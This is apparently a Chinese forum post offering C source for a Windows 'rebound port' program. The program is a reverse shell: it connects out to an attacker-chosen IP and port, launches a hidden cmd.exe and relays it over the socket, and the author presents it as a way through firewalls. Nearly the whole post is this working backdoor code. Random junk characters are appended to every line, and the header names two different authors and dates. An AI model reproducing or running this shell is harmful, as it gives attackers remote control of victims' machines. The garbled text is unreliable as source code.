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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 s8r|48I#;  
: ~R Y  
/* ============================== B% ]yLJ  
Rebound port in Windows NT A:-MRhE9X  
By wind,2006/7 ?Aq \Gr  
===============================*/ ].TAZ-4s  
#include Mu1H*;_8  
#include mJ'Q9x"  
(Xak;Xum1  
#pragma comment(lib,"wsock32.lib") 4 6yq F  
[Iwb7a0p  
void OutputShell(); m L#%H(  
SOCKET sClient; xr;:gz!h  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ""Ub^:ucD  
8C[W;&Y=  
void main(int argc,char **argv) >}uDQwX8  
{ ?k|}\l[X1  
WSADATA stWsaData; $] gwaJ:  
int nRet; p)x*uqSd  
SOCKADDR_IN stSaiClient,stSaiServer; @4O;dFOQ)  
ZaNZUVBh  
if(argc != 3) ! R b  
{ ~x(1g;!^  
printf("Useage:\n\rRebound DestIP DestPort\n"); p aQ"[w  
return; Wl29xY}`{!  
} We8n20wf<  
@W_=Z0]  
WSAStartup(MAKEWORD(2,2),&stWsaData); E$4_.Z8sRw  
|v Gb,&3  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); M0B6v} ^H  
LH:M`\(DL1  
stSaiClient.sin_family = AF_INET; \68x]q[  
stSaiClient.sin_port = htons(0); Dc1tND$X3g  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 2 cB){.E  
<P%<EgOE  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) FX->_}kL=  
{ 2!w5eWl,  
printf("Bind Socket Failed!\n"); i"B q*b@  
return; 9s.x%m,  
} 1"hd5a  
hoj('P2a#n  
stSaiServer.sin_family = AF_INET; |}?o=bO  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); L[j73z'  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 9 rMP"td  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ycD}7  
{ 'XbrO|%  
printf("Connect Error!"); >u-6,[(5X*  
return; K> rZJ[a  
} P3W<a4 ==  
OutputShell(); ^zfO=XN  
} l%f &vOcd  
].!^BYNht  
void OutputShell() eZck$]P(6H  
{ |riP*b  
char szBuff[1024]; fr19C%{  
SECURITY_ATTRIBUTES stSecurityAttributes; Li?_P5+a  
OSVERSIONINFO stOsversionInfo; as k76  e  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 5PRS|R7  
STARTUPINFO stStartupInfo; NCXr$ES{  
char *szShell; 2w7PwNb*32  
PROCESS_INFORMATION stProcessInformation; DHnO ,"  
unsigned long lBytesRead; ^&Exa6=*FT  
+H4H$H  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); NDqvt$  
j "^V?e5  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 2!Gb4V  
stSecurityAttributes.lpSecurityDescriptor = 0; AeZ__X  
stSecurityAttributes.bInheritHandle = TRUE; /uNgftj  
y8!#G-d5  
lQq&tz,  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); k$NNpv&;d  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 3= q,k<=L  
y-1!@|l0:6  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); FG6bKvEQm^  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wuV*!oefo  
stStartupInfo.wShowWindow = SW_HIDE; MB"TwtW  
stStartupInfo.hStdInput = hReadPipe; Ch;wvoy  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; c*@#0B  
fDzG5}i  
GetVersionEx(&stOsversionInfo); 'f "KV|  
&yabxl_  
switch(stOsversionInfo.dwPlatformId) e  -yL  
{ C3hQT8~  
case 1: 4[.DQ#r  
szShell = "command.com"; p-S&Wq  
break;  45qSt2  
default: G9YfJ?I  
szShell = "cmd.exe"; f)b+>!  
break; Dus [N< w  
} 89kxRH\IhG  
j{`C|zg  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); &hSABtr}  
PL}c1Ud  
send(sClient,szMsg,77,0); r2xXS&9!|  
while(1) M];?W  
{ N}/|B}  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); #J): N  
if(lBytesRead) +%'!+r l  
{ en?J#fz  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); c?/R=/H  
send(sClient,szBuff,lBytesRead,0); je[1>\3W  
} e*Gt%'  
else 2K~<_.S  
{ ]}za  
lBytesRead=recv(sClient,szBuff,1024,0); AY B~{  
if(lBytesRead<=0) break; /E32^o|,>  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); *%#Sa~iPo  
} $-Yq?:  
} q-lejVS(g  
6`JY:~V"  
return; Ob~7r*q  
}
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